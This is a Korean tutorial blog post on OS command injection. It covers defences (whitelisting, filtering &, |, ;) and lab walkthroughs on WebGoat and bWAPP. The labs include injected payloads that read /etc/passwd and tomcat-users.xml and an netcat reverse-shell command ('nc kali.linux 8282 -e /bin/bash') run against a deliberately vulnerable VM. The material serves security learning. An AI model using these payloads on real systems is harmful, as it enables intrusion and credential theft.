1. Command Injection
애플리케이션에 운영체제 명령어(= 쉘 명령어)를 실행하는 기능이 존재하는 경우, 외부 입력값을 검증, 제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용되는 경우 발생한다.
시스템의 제어권을 탈취해 해당 시스템을 원격에서 공격자가 마음대로 제어할 수 있게 된다.
1) 운영 체제 명령어를 실행하는 기능
(1) Java
Runtime.getRuntime().exec("쉘 명령어")
- 쉘 명령어를 해당 시스템에서 실행하고 결과를 반환
(2) PHP
exec("쉘 명령어")
(3) Python
subprocess.run([쉘 명령어])
os.system("쉘 명령어")
2) 외부 입력값 검증, 제한
(1) 검증
- 추가 명령어를 실행하는 데 사용하는 &, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용
외부 입력값에 위 문자열이 있는지를 검증해야 한다.
(2) 제한
내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 화이트 리스트 방식으로 입력값을 제한하지 않는 경우 의도하지 않은 명령어가 전달되어 실행될 수 있다.
3) 입력값을 제한하는 방법
(1) 화이트 리스트 방식
- 허용 목록 방식
- 사용할 수 있는 값을 미리 정의하고 정의된 범위 내의값만 사용하도록 제한
- 새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전
일반적으로 들어올 수 있는 값이 정해져 있기 때문에 화이트 리스트 방식 사용을 권고한다.
(2) 블랙 리스트 방식
- 제한 목록 방식
- 사용할 수 없는 값을 미리 정의하고 정의된 범위 외의 값만 사용하도록 제한
- 모집합의 규모가 크고, 변화가 심한 경우 사용
4) 외부 입력값을 운영체제 명령어로 사용하는 경우
String cmd = request.getParameter("cmd");
Runtime.getRuntim().exec(cmd);
(1) 위 코드에 대한 개발자 의도
- run.jsp?cmd=ifconfig
(2) 위 코드에 대한 공격자 조작
- run.jsp?cmd=cat /etc/passwd
- run.jsp?cmd=ifconfig & cat /etc/passwd
개발자가 의도하지 않은 명렁어 또는 추가 명령어로 계정 정보가 노출될 수 있다.
5) 명령어의 일부로 사용하는 경우
String file = request.getParameter("file");
Runtime.getRuntim().exec("cat " + file);
(1) 위 코드에 대한 개발자 의도
- view.jsp?file=/data/upload/myfile.txt
cat 명령어의 일부(파라미터)로 사용하여 /data/upload/ 아래에 있는 myfile.txt 내용을 반환
(2) 위 코드에 대한 공격자 조작
- view.jsp?file=/data/upload/myfile.txt & cat /etc/passwd
추가 명령어 실행을 통해서 시스템 파일 내용을 반환
6) 방어 기법
(1) 불필요한 운영체제 명령어 실행 제거
운영체제 명령어 실행이 꼭 필요한지 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능으로 대체하고,
설계적인 측면에서는 운영체제 명령어 실행이 발생하지 않도록 설계해야 한다.
(2) 화이트 리스트 방식으로 제한
시스템 내부에서 사용할 운영체제 명령어 또는 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용하도록 제한 한다.
(3) 추가 명령어 문자 검증
입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증한다.
(4) 입력값 코드화
외부에서 시스템 내부 처리를 유추할 수 없도록 입력값을 코드화해야 한다.
String cmd = request.getParameter("cmd");
if (cmd == "CMD001")
Runtime.getRuntim().exec("ifconfig");
위 코드에 대한 개발자가 원했던 실행 ⇒ run.jsp?cmd=CMD001
외부에서는 CMD001이 어떻게 쓰이는지 알 수 없도록 캡슐화, 코드화해서 작성해야 한다.
2. WebGoat 실습
Command Injection
- 목표는 C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일 내용 출력
1) 개발자 도구 사용해서 유추
지금까지 실습했던 것처럼 개발자 도구를 사용해 GET 방식으로 유추한다.
attack?Screen=6&menu=1100&HelpFile=AccessControlMatrix.help&SUBMIT=View
2) 도움말
cmd.exe /c type "C:\FullstackLAB\workspace\(경로 생략)\ AccessControlMatrix .html"
외부에서 전달되는 값을 검증, 제한하지 않으면 위 경로에 추가 명령어를 사용할 수 있다.
3) 추가 명령어
cmd.exe /c type "C:\FullstackLAB\workspace\(경로 생략)\ AccessControlMatrix .html" & type C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml
4) Burp Suite 사용
(1) Intercept
(2) 요청
(3) 파라미터값 변조
(4) 확인
(5) 실험
CLI에서 한 줄에 여러 실행을 하는 명령어는 & 말고 ; 도 있다. ;을 사용해 해결되는지 궁금해서 확인해 봤다.
- 위 실습과 다르게 ";을 입력 후 경로 입력
성공 메시지는 안 나오고 내용은 나오는 현상을 볼 수 있다. URL 인코딩이 안 돼 문제가 되는 것 같아 URL 인코딩 명령문으로 수정했다.
같은 결과로 성공 메시지가 없이 내용이 나온다.
- 결론
&와 ;의 차이점에 있는 것 같다.
&는 앞 명령어의 실행 결과에 따라 뒤 명령어 실행 여부를 결정한다. 즉, 앞 명령어가 성공적으로 실행된 후에만 뒤 명령어가 실행되는 것이다.
;은 앞 명령어의 실행 성공 여부와 관계없이 뒤 명령어를 실행한다.
위 문제에서는 앞의 문서가 먼저 나오고 뒤 추가 명령문의 문서가 나와야 하는데 ;을 사용함으로써 앞문서 성공 여부에 관계 없어져 성공 메시지가 나오지 않은 것으로 이해했다.
5) 개발자 도구를 이용한 방법
개발자 도구를 이용해 두 번째에 있는 문서에 추가 명령어를 넣어 수정하면 아주 간단하게 해결된다.
여기서는 & ls -al, & dir, & 경로 등 시도 해봤지만, ping 하나만 해결되는 것을 볼 수 있었다.
3. Bee box 실습
bee.box에 로그인한 후 OS Command Injection에 들어간다.
들어가면 DNS lookup이 보이는데, 검색하면 알아보기 힘들게 출력된다. 이 문제를 해결하기 위해 bee box 가상머신에서 commandi.php 파일을 수정해야 한다. 관리자 권한 실행인 sudo로 열어야 저장된다.
1) nslookup
위 두 사진은 bee.box 웹 페이지에서 검색한 결과와 bee box 터미널에서 lookup 사용한 결과를 보여준다.
두 내용을 비교해 보면 동일한 내용이 출력되는 것을 확인할 수 있다. 즉, 웹 페이지에서 사용자 입력한 값이 서버 내부에서 운영체제 명령어 실행에 사용되는 것을 추측할 수 있다.
그렇다면 이전 실습과 같이 검색할 주소 뒤에 추가 명령어를 사용한다면 어떻게 될까?
2) 추가 명령어
추가 명령어를 실행하면 웹 페이지에서 볼 수 없는 내용까지 나온다. 이는 입력값이 서버 내부로 전달되어 사용되기까지 검증, 제한을 하지 않기 때문이다.
3) nc(netcat)을 이용한 리버스 커넥션
(1) kali 가상머신에서 특정 포트를 리스닝하는 서버를 실행
- nc -l -p 8282
(2) 웹 페이지에서 명령어 입력
- www.naver.com ; nc kali.linux 8282 -e /bin/bash
주소와 포트 번호로 연결하고, 연결에 성공하면 /bin/bash를 실행하는 명령어다.
(3) 취약한 서버로 명령어 전달
kali에서 명령어를 실행하고 있지만, pwd 명령어와 ip를 보면 bee box의 위치와 ip가 나오는 것을 확인할 수 있다.
이는 bee box 서버에서 명령어가 실행되고 출력되는 것인데, kali에서 명령어를 실행하고 출력하기 때문에 bee box 사용자는 알 수 없다.
kali가 bee box 서버 내부의 쉘 명령어를 사용하기 위해서는 ssh나 telnet으로 접속해서 쉘 명령어를 사용해야 하지만, 알 수 없는 곳으로부터 오는 것은 일반적으로는 보안 정책상 제공하지 않는다. 지정해 놓은 관리자가 있다면 관리자가 위치한 곳에서의 접속은 허용한다.
방화벽에서 인바운드에 대해서는 제약이 많은데 내부에서 외부로 나가는 것은 열려 있어야 네트워킹이 원활하게 되기 때문에 열려있는 것이 많다.
kali에서 bee box로 들어갈 수 없으면 내부에서 외부로 나오도록 해줘야 한다. bee box 서버 관리하는 사람이 있다면 그 사람이 8282 서버에 연결할 수 있는 nc kali.linux 8282 -e /bin/bash를 입력해 주면 간단하게 해결되지만, 해당 서버 관리하는 사람을 알지 못한다면 해당 서버에서 명령어는 입력하지 못한다. 그렇다면 다음으로는 어떻게 해야 할까?
위에서 추가 명령어를 사용했을 때 봤듯이 bee box 웹 서버에서 쉘 명령어를 이용해 검색해 주는 서비스를 보았다. 이것을 이용하면 사람이 없어도 쉘 명령어를 사용할 수 있게 된다.
kali에서 연결을 생성하는 명령어를 웹 서버에 전달하면 웹 서버는 쉘 명령어로 인식하고 쉘 명령어를 실행해 쉘은 8282 서버에 연결해 주는 것이다. 그러면 내부에서 내부로 나가게 되는 것이다.
이 공격을 하기 위한 전제 조건은 bee box에 nc라는 명령어가 존재하기 때문에 가능하다. nc가 없는 경우도 있는데, 없으면 어떻게 할지 알아본다.
4) 텔넷을 이용한 리터스 커넥션
위에서는 nc를 통해 8282 서버에 쉘 명령어 출력을 보냈지만, 이번에는 9292로 출력한다.
(1) kali 가상머신에 두 개의 서비스 실행
- nc -l -p 8282
- nc -l -p 9292
두 개의 터미널을 열고 각각 실행한다.
(2) 취약점을 가진 웹 페이지
취약점을 가진 OS Command Injection 페이지에 텔넷으로 연결하는 명령어를 작성한다.
5) 취약점 소스 코드 확인
sudo gedit /var/www/bWAP/commandi.php
bee box에서 commandi.php를 확인한다.
문제가 되는 부분은 140번 줄이다.
"<p align=\"left\"><pre>" . shell_exec("nslookup " . commandi($target)) . "</pre></p>";
shell_exec 설명은 이곳으로 대체한다.
쉘을 실행하고 commandi함수를 호출한다.
function commandi($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
function commandi_check_1($data)
{
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
function commandi_check_2($data)
{
return escapeshellcmd($data);
}
호출한 commandi 함수는 보안 등급에 따라 입력값을 필터링해서 반환하는 함수다.
밑에 있는 commandi_check_1 함수는 functions_external.php 파일에 정의되어 있는 함수다. 편의상, 같이 적었다.
위 두 함수를 보면 shell_exec는 commandi 함수를 호출하는데 매개변수로 입력값을 전달한다.
이때 commandi 함수는 보안 등급에 따라 입력값을 필터링하는데 기본 설정이 no_check이므로 Injection이 되는 것이다.
check_1 함수를 보면 운영체제 명령어 뒤에 추가 명령어를 사용할 수 있게 하는 & 또는 ; 이 포함되어 있으면 제거하고 반환한다.
escapeshellcmd 설명은 이곳으로 대체한다.
이렇게 OS Command Injection 실습은 이렇게 실행하는 데 shell_exec 함수를 사용하는데 외부에서 입력된 문자를 check 함수가 검증, 제한하지 않아서 문제가 된다.
(1) 파일 오픈
불필요한 운영체제 명령어를 실행해서 파일 내용을 반환하는 게 아니라 파일을 오픈해서 내용을 반환하는 방법을 사용하는 게 더 안전한 방법이다.
파이썬으로 운영체제 명령어를 실행하는 코드를 실습한다.
- help.py - 불필요한 운영체제 명령어 실행
import subprocess
import sys
# return <file_path>'s contents using cat command
def return_file_contents(file_path):
try:
contents = subprocess.run(['cat', file_path], capture_output=True, text=True, check=True)
return contents.stdout
except subprocess.CalledProcessError as e:
print(f"Error: {e}")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usages: python help.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
file_contents = return_file_contents(file_path)
print(file_contents)
- 파일 오픈 방법으로 변경
import subprocess
import sys
# return <file_path>'s contents using cat command
def return_file_contents(file_path):
with open(file_path, 'r') as f:
return f.read()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usages: python help.py <file_path>")
sys.exit(1)
file_path = sys.argv[1]
file_contents = return_file_contents(file_path)
print(file_contents)
댓글